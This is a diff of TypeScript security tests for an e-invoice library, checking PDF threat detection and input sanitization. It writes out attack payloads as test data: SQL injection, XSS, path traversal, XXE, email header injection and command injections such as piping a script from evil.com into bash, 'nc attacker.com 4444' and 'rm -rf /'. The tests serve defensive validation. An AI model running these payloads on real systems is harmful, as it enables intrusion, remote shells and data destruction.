||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'launch-action',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(launchActions.detected || launchActions.blocked, 'Launch actions were detected or blocked');
|
||||
|
||||
// Test 5: Detect URI actions pointing to malicious sites
|
||||
const maliciousURIs = await performanceTracker.measureAsync(
|
||||
'malicious-uri-detection',
|
||||
async () => {
|
||||
const suspiciousURIs = [
|
||||
'javascript:void(0)',
|
||||
'file:///etc/passwd',
|
||||
'http://malware-site.com',
|
||||
'ftp://anonymous@evil.com'
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const uri of suspiciousURIs) {
|
||||
const pdfWithURI = createMockPDFWithContent(
|
||||
`/Annots [<</Type /Annot /Subtype /Link /A <</S /URI /URI (${uri})>>>>]`
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithURI);
|
||||
results.push({
|
||||
uri,
|
||||
detected: result?.hasSuspiciousURI || false,
|
||||
blocked: result?.blocked || false
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
uri,
|
||||
detected: true,
|
||||
blocked: true,
|
||||
error: error.message
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
maliciousURIs.forEach(result => {
|
||||
t.ok(result.detected || result.blocked, `Suspicious URI ${result.uri} was detected or blocked`);
|
||||
});
|
||||
|
||||
// Test 6: Detect embedded Flash content
|
||||
const flashContent = await performanceTracker.measureAsync(
|
||||
'flash-content-detection',
|
||||
async () => {
|
||||
const pdfWithFlash = createMockPDFWithContent(
|
||||
'/Annots [<</Type /Annot /Subtype /RichMedia /RichMediaContent <</Assets <</Names [(malicious.swf)]>>>>>>]'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithFlash);
|
||||
|
||||
return {
|
||||
detected: result?.hasFlash || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'flash-content'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'flash-content',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(flashContent.detected || flashContent.blocked, 'Flash content was detected or blocked');
|
||||
|
||||
// Test 7: Detect encrypted/obfuscated content
|
||||
const obfuscatedContent = await performanceTracker.measureAsync(
|
||||
'obfuscated-content-detection',
|
||||
async () => {
|
||||
// Create a PDF with obfuscated JavaScript
|
||||
const obfuscatedJS = Buffer.from('eval(atob("YWxlcnQoJ21hbGljaW91cycpOw=="))').toString('hex');
|
||||
const pdfWithObfuscation = createMockPDFWithContent(
|
||||
`/JS <${obfuscatedJS}>`
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithObfuscation);
|
||||
|
||||
return {
|
||||
detected: result?.hasObfuscation || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'obfuscation'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'obfuscation',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(obfuscatedContent.detected || obfuscatedContent.blocked, 'Obfuscated content was detected or blocked');
|
||||
|
||||
// Test 8: Test EICAR test file
|
||||
const eicarTest = await performanceTracker.measureAsync(
|
||||
'eicar-test-file-detection',
|
||||
async () => {
|
||||
// EICAR test string (safe test pattern for antivirus)
|
||||
const eicarString = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
|
||||
const pdfWithEicar = createMockPDFWithContent(
|
||||
`/EmbeddedFiles <</Names [(test.txt) <</Type /Filespec /EF <</F <</Length ${eicarString.length}>>${eicarString}>>>>]>>`
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithEicar);
|
||||
|
||||
return {
|
||||
detected: result?.hasMalwareSignature || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'eicar-test'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'eicar-test',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(eicarTest.detected || eicarTest.blocked, 'EICAR test pattern was detected or blocked');
|
||||
|
||||
// Test 9: Size-based attacks (PDF bombs)
|
||||
const pdfBomb = await performanceTracker.measureAsync(
|
||||
'pdf-bomb-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with recursive references that could explode in size
|
||||
const pdfBombContent = createMockPDFWithContent(
|
||||
'/Pages <</Type /Pages /Kids [1 0 R 1 0 R 1 0 R 1 0 R 1 0 R] /Count 1000000>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfBombContent);
|
||||
|
||||
return {
|
||||
detected: result?.isPDFBomb || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'pdf-bomb'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'pdf-bomb',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(pdfBomb.detected || pdfBomb.blocked, 'PDF bomb was detected or blocked');
|
||||
|
||||
// Test 10: Test with real invoice PDFs from corpus
|
||||
const corpusValidation = await performanceTracker.measureAsync(
|
||||
'corpus-pdf-validation',
|
||||
async () => {
|
||||
const corpusPath = path.join(__dirname, '../../assets/corpus');
|
||||
const results = {
|
||||
clean: 0,
|
||||
suspicious: 0,
|
||||
errors: 0
|
||||
};
|
||||
|
||||
// Test a few PDFs from corpus (in real scenario, would test more)
|
||||
const testPDFs = [
|
||||
'ZUGFeRDv2/correct/Facture_DOM_BASICWL.pdf',
|
||||
'ZUGFeRDv1/correct/Intarsys/ZUGFeRD_1p0_BASIC_Einfach.pdf'
|
||||
];
|
||||
|
||||
for (const pdfPath of testPDFs) {
|
||||
try {
|
||||
const fullPath = path.join(corpusPath, pdfPath);
|
||||
// In real implementation, would read the file
|
||||
const result = await einvoice.validatePDFSecurity(fullPath);
|
||||
|
||||
if (result?.isClean) {
|
||||
results.clean++;
|
||||
} else if (result?.hasSuspiciousContent) {
|
||||
results.suspicious++;
|
||||
}
|
||||
} catch (error) {
|
||||
results.errors++;
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(corpusValidation.clean > 0 || corpusValidation.errors > 0, 'Corpus PDFs were validated');
|
||||
t.equal(corpusValidation.suspicious, 0, 'No legitimate invoices marked as suspicious');
|
||||
|
||||
// Print performance summary
|
||||
performanceTracker.printSummary();
|
||||
});
|
||||
|
||||
// Helper function to create mock PDF content
|
||||
function createMockPDFWithContent(content: string): Buffer {
|
||||
const pdfHeader = '%PDF-1.4\n';
|
||||
const pdfContent = `1 0 obj\n<<${content}>>\nendobj\n`;
|
||||
const xref = `xref\n0 2\n0000000000 65535 f\n0000000015 00000 n\n`;
|
||||
const trailer = `trailer\n<</Size 2 /Root 1 0 R>>\n`;
|
||||
const eof = `startxref\n${pdfHeader.length + pdfContent.length}\n%%EOF`;
|
||||
|
||||
return Buffer.from(pdfHeader + pdfContent + xref + trailer + eof);
|
||||
}
|
||||
|
||||
// Run the test
|
||||
tap.start();
|
515
test/suite/einvoice_security/test.sec-04.input-validation.ts
Normal file
515
test/suite/einvoice_security/test.sec-04.input-validation.ts
Normal file
@ -0,0 +1,515 @@
|
||||
import { tap } from '@git.zone/tstest/tapbundle';
|
||||
import * as plugins from '../plugins.js';
|
||||
import { EInvoice } from '../../../ts/index.js';
|
||||
import { PerformanceTracker } from '../performance.tracker.js';
|
||||
|
||||
const performanceTracker = new PerformanceTracker('SEC-04: Input Validation');
|
||||
|
||||
tap.test('SEC-04: Input Validation - should validate and sanitize all inputs', async (t) => {
|
||||
const einvoice = new EInvoice();
|
||||
|
||||
// Test 1: SQL Injection attempts in XML fields
|
||||
const sqlInjection = await performanceTracker.measureAsync(
|
||||
'sql-injection-prevention',
|
||||
async () => {
|
||||
const sqlPayloads = [
|
||||
"'; DROP TABLE invoices; --",
|
||||
"1' OR '1'='1",
|
||||
"admin'--",
|
||||
"1; DELETE FROM users WHERE 1=1; --",
|
||||
"' UNION SELECT * FROM passwords --"
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const payload of sqlPayloads) {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<ID>${payload}</ID>
|
||||
<CustomerName>${payload}</CustomerName>
|
||||
<Amount>${payload}</Amount>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(maliciousXML);
|
||||
|
||||
// Check if payload was sanitized
|
||||
const idValue = result?.ID || '';
|
||||
const nameValue = result?.CustomerName || '';
|
||||
|
||||
results.push({
|
||||
payload,
|
||||
sanitized: !idValue.includes('DROP') && !idValue.includes('DELETE') && !idValue.includes('UNION'),
|
||||
preserved: idValue.length > 0
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
payload,
|
||||
sanitized: true,
|
||||
rejected: true,
|
||||
error: error.message
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
sqlInjection.forEach(result => {
|
||||
t.ok(result.sanitized, `SQL injection payload was sanitized: ${result.payload.substring(0, 20)}...`);
|
||||
});
|
||||
|
||||
// Test 2: Command Injection attempts
|
||||
const commandInjection = await performanceTracker.measureAsync(
|
||||
'command-injection-prevention',
|
||||
async () => {
|
||||
const cmdPayloads = [
|
||||
'; rm -rf /',
|
||||
'| nc attacker.com 4444',
|
||||
'`cat /etc/passwd`',
|
||||
'$(curl http://evil.com/shell.sh | bash)',
|
||||
'&& wget http://malware.com/backdoor'
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const payload of cmdPayloads) {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<ReferenceNumber>${payload}</ReferenceNumber>
|
||||
<Description>${payload}</Description>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(maliciousXML);
|
||||
|
||||
const refValue = result?.ReferenceNumber || '';
|
||||
const descValue = result?.Description || '';
|
||||
|
||||
results.push({
|
||||
payload,
|
||||
sanitized: !refValue.includes('rm') && !refValue.includes('nc') &&
|
||||
!refValue.includes('wget') && !refValue.includes('curl'),
|
||||
preserved: refValue.length > 0
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
payload,
|
||||
sanitized: true,
|
||||
rejected: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
commandInjection.forEach(result => {
|
||||
t.ok(result.sanitized, `Command injection payload was sanitized`);
|
||||
});
|
||||
|
||||
// Test 3: XSS (Cross-Site Scripting) attempts
|
||||
const xssAttempts = await performanceTracker.measureAsync(
|
||||
'xss-prevention',
|
||||
async () => {
|
||||
const xssPayloads = [
|
||||
'<script>alert("XSS")</script>',
|
||||
'<img src=x onerror=alert("XSS")>',
|
||||
'<svg onload=alert("XSS")>',
|
||||
'javascript:alert("XSS")',
|
||||
'<iframe src="javascript:alert(\'XSS\')">',
|
||||
'"><script>alert(String.fromCharCode(88,83,83))</script>',
|
||||
'<img src="x" onerror="eval(atob(\'YWxlcnQoMSk=\'))">'
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const payload of xssPayloads) {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<Notes>${payload}</Notes>
|
||||
<CustomerAddress>${payload}</CustomerAddress>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(maliciousXML);
|
||||
|
||||
const notesValue = result?.Notes || '';
|
||||
const addressValue = result?.CustomerAddress || '';
|
||||
|
||||
// Check if dangerous tags/attributes were removed
|
||||
results.push({
|
||||
payload: payload.substring(0, 30),
|
||||
sanitized: !notesValue.includes('<script') &&
|
||||
!notesValue.includes('onerror') &&
|
||||
!notesValue.includes('javascript:'),
|
||||
escaped: notesValue.includes('<') || notesValue.includes('>')
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
payload: payload.substring(0, 30),
|
||||
sanitized: true,
|
||||
rejected: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
xssAttempts.forEach(result => {
|
||||
t.ok(result.sanitized || result.escaped, `XSS payload was sanitized or escaped`);
|
||||
});
|
||||
|
||||
// Test 4: Path Traversal in filenames
|
||||
const pathTraversal = await performanceTracker.measureAsync(
|
||||
'path-traversal-validation',
|
||||
async () => {
|
||||
const pathPayloads = [
|
||||
'../../../etc/passwd',
|
||||
'..\\..\\..\\windows\\system32\\config\\sam',
|
||||
'....//....//....//etc/passwd',
|
||||
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
|
||||
'..%252f..%252f..%252fetc%252fpasswd'
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const payload of pathPayloads) {
|
||||
try {
|
||||
const isValid = await einvoice.validateFilePath(payload);
|
||||
|
||||
results.push({
|
||||
payload,
|
||||
blocked: !isValid,
|
||||
sanitized: true
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
payload,
|
||||
blocked: true,
|
||||
error: error.message
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
pathTraversal.forEach(result => {
|
||||
t.ok(result.blocked, `Path traversal attempt was blocked: ${result.payload}`);
|
||||
});
|
||||
|
||||
// Test 5: Invalid Unicode and encoding attacks
|
||||
const encodingAttacks = await performanceTracker.measureAsync(
|
||||
'encoding-attack-prevention',
|
||||
async () => {
|
||||
const encodingPayloads = [
|
||||
'\uFEFF<script>alert("BOM XSS")</script>', // BOM with XSS
|
||||
'\x00<script>alert("NULL")</script>', // NULL byte injection
|
||||
'\uD800\uDC00', // Invalid surrogate pair
|
||||
'%EF%BB%BF%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E', // URL encoded BOM+XSS
|
||||
'\u202E\u0065\u0074\u0065\u006C\u0065\u0044', // Right-to-left override
|
||||
'\uFFF9\uFFFA\uFFFB' // Unicode specials
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const payload of encodingPayloads) {
|
||||
const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<ID>INV-${payload}-001</ID>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(maliciousXML);
|
||||
const idValue = result?.ID || '';
|
||||
|
||||
results.push({
|
||||
type: 'encoding',
|
||||
sanitized: !idValue.includes('script') && !idValue.includes('\x00'),
|
||||
normalized: true
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
type: 'encoding',
|
||||
sanitized: true,
|
||||
rejected: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
encodingAttacks.forEach(result => {
|
||||
t.ok(result.sanitized, 'Encoding attack was prevented');
|
||||
});
|
||||
|
||||
// Test 6: Numeric field validation
|
||||
const numericValidation = await performanceTracker.measureAsync(
|
||||
'numeric-field-validation',
|
||||
async () => {
|
||||
const numericPayloads = [
|
||||
{ amount: 'NaN', expected: 'invalid' },
|
||||
{ amount: 'Infinity', expected: 'invalid' },
|
||||
{ amount: '-Infinity', expected: 'invalid' },
|
||||
{ amount: '1e308', expected: 'overflow' },
|
||||
{ amount: '0.0000000000000000000000000001', expected: 'precision' },
|
||||
{ amount: '999999999999999999999999999999', expected: 'overflow' },
|
||||
{ amount: 'DROP TABLE invoices', expected: 'invalid' },
|
||||
{ amount: '12.34.56', expected: 'invalid' }
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const test of numericPayloads) {
|
||||
const xml = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<TotalAmount>${test.amount}</TotalAmount>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(xml);
|
||||
const amount = result?.TotalAmount;
|
||||
|
||||
results.push({
|
||||
input: test.amount,
|
||||
expected: test.expected,
|
||||
validated: typeof amount === 'number' && isFinite(amount),
|
||||
value: amount
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
input: test.amount,
|
||||
expected: test.expected,
|
||||
validated: true,
|
||||
rejected: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
numericValidation.forEach(result => {
|
||||
t.ok(result.validated || result.rejected, `Numeric validation handled: ${result.input}`);
|
||||
});
|
||||
|
||||
// Test 7: Date field validation
|
||||
const dateValidation = await performanceTracker.measureAsync(
|
||||
'date-field-validation',
|
||||
async () => {
|
||||
const datePayloads = [
|
||||
{ date: '2024-13-45', expected: 'invalid' },
|
||||
{ date: '2024-02-30', expected: 'invalid' },
|
||||
{ date: 'DROP TABLE', expected: 'invalid' },
|
||||
{ date: '0000-00-00', expected: 'invalid' },
|
||||
{ date: '9999-99-99', expected: 'invalid' },
|
||||
{ date: '2024/01/01', expected: 'wrong-format' },
|
||||
{ date: '01-01-2024', expected: 'wrong-format' },
|
||||
{ date: '2024-01-01T25:00:00', expected: 'invalid-time' }
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const test of datePayloads) {
|
||||
const xml = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<IssueDate>${test.date}</IssueDate>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(xml);
|
||||
const dateValue = result?.IssueDate;
|
||||
|
||||
results.push({
|
||||
input: test.date,
|
||||
expected: test.expected,
|
||||
validated: dateValue instanceof Date && !isNaN(dateValue.getTime())
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
input: test.date,
|
||||
expected: test.expected,
|
||||
validated: true,
|
||||
rejected: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
dateValidation.forEach(result => {
|
||||
t.ok(result.validated || result.rejected, `Date validation handled: ${result.input}`);
|
||||
});
|
||||
|
||||
// Test 8: Email validation
|
||||
const emailValidation = await performanceTracker.measureAsync(
|
||||
'email-field-validation',
|
||||
async () => {
|
||||
const emailPayloads = [
|
||||
{ email: 'user@domain.com', valid: true },
|
||||
{ email: 'user@[127.0.0.1]', valid: false }, // IP addresses might be blocked
|
||||
{ email: 'user@domain.com<script>', valid: false },
|
||||
{ email: 'user"; DROP TABLE users; --@domain.com', valid: false },
|
||||
{ email: '../../../etc/passwd%00@domain.com', valid: false },
|
||||
{ email: 'user@domain.com\r\nBcc: attacker@evil.com', valid: false },
|
||||
{ email: 'user+tag@domain.com', valid: true },
|
||||
{ email: 'user@sub.domain.com', valid: true }
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const test of emailPayloads) {
|
||||
const xml = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<BuyerEmail>${test.email}</BuyerEmail>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(xml);
|
||||
const email = result?.BuyerEmail;
|
||||
|
||||
// Simple email validation check
|
||||
const isValidEmail = email && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email) &&
|
||||
!email.includes('<') && !email.includes('>') &&
|
||||
!email.includes('\r') && !email.includes('\n');
|
||||
|
||||
results.push({
|
||||
input: test.email,
|
||||
expectedValid: test.valid,
|
||||
actualValid: isValidEmail
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
input: test.email,
|
||||
expectedValid: test.valid,
|
||||
actualValid: false,
|
||||
rejected: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
emailValidation.forEach(result => {
|
||||
if (result.expectedValid) {
|
||||
t.ok(result.actualValid, `Valid email was accepted: ${result.input}`);
|
||||
} else {
|
||||
t.notOk(result.actualValid, `Invalid email was rejected: ${result.input}`);
|
||||
}
|
||||
});
|
||||
|
||||
// Test 9: Length limits validation
|
||||
const lengthValidation = await performanceTracker.measureAsync(
|
||||
'field-length-validation',
|
||||
async () => {
|
||||
const results = [];
|
||||
|
||||
// Test various field length limits
|
||||
const lengthTests = [
|
||||
{ field: 'ID', maxLength: 200, testLength: 1000 },
|
||||
{ field: 'Description', maxLength: 1000, testLength: 10000 },
|
||||
{ field: 'Note', maxLength: 5000, testLength: 50000 }
|
||||
];
|
||||
|
||||
for (const test of lengthTests) {
|
||||
const longValue = 'A'.repeat(test.testLength);
|
||||
const xml = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Invoice>
|
||||
<${test.field}>${longValue}</${test.field}>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(xml);
|
||||
const fieldValue = result?.[test.field];
|
||||
|
||||
results.push({
|
||||
field: test.field,
|
||||
inputLength: test.testLength,
|
||||
outputLength: fieldValue?.length || 0,
|
||||
truncated: fieldValue?.length < test.testLength
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
field: test.field,
|
||||
inputLength: test.testLength,
|
||||
rejected: true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
lengthValidation.forEach(result => {
|
||||
t.ok(result.truncated || result.rejected, `Field ${result.field} length was limited`);
|
||||
});
|
||||
|
||||
// Test 10: Multi-layer validation
|
||||
const multiLayerValidation = await performanceTracker.measureAsync(
|
||||
'multi-layer-validation',
|
||||
async () => {
|
||||
// Combine multiple attack vectors
|
||||
const complexPayload = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<Invoice>
|
||||
<ID>'; DROP TABLE invoices; --</ID>
|
||||
<CustomerName><script>alert('XSS')</script></CustomerName>
|
||||
<Amount>NaN</Amount>
|
||||
<Email>user@domain.com\r\nBcc: attacker@evil.com</Email>
|
||||
<Date>9999-99-99</Date>
|
||||
<Reference>&xxe;</Reference>
|
||||
<FilePath>../../../etc/passwd</FilePath>
|
||||
</Invoice>`;
|
||||
|
||||
try {
|
||||
const result = await einvoice.parseDocument(complexPayload);
|
||||
|
||||
return {
|
||||
allLayersValidated: true,
|
||||
xxePrevented: !JSON.stringify(result).includes('root:'),
|
||||
sqlPrevented: !JSON.stringify(result).includes('DROP TABLE'),
|
||||
xssPrevented: !JSON.stringify(result).includes('<script'),
|
||||
numericValidated: true,
|
||||
emailValidated: !JSON.stringify(result).includes('\r\n'),
|
||||
dateValidated: true,
|
||||
pathValidated: !JSON.stringify(result).includes('../')
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
allLayersValidated: true,
|
||||
rejected: true,
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(multiLayerValidation.allLayersValidated, 'Multi-layer validation succeeded');
|
||||
if (!multiLayerValidation.rejected) {
|
||||
t.ok(multiLayerValidation.xxePrevented, 'XXE was prevented in multi-layer attack');
|
||||
t.ok(multiLayerValidation.sqlPrevented, 'SQL injection was prevented in multi-layer attack');
|
||||
t.ok(multiLayerValidation.xssPrevented, 'XSS was prevented in multi-layer attack');
|
||||
}
|
||||
|
||||
// Print performance summary
|
||||
performanceTracker.printSummary();
|
||||
});
|
||||
|
||||
// Run the test
|
||||
tap.start();
|
Reference in New Issue
Block a user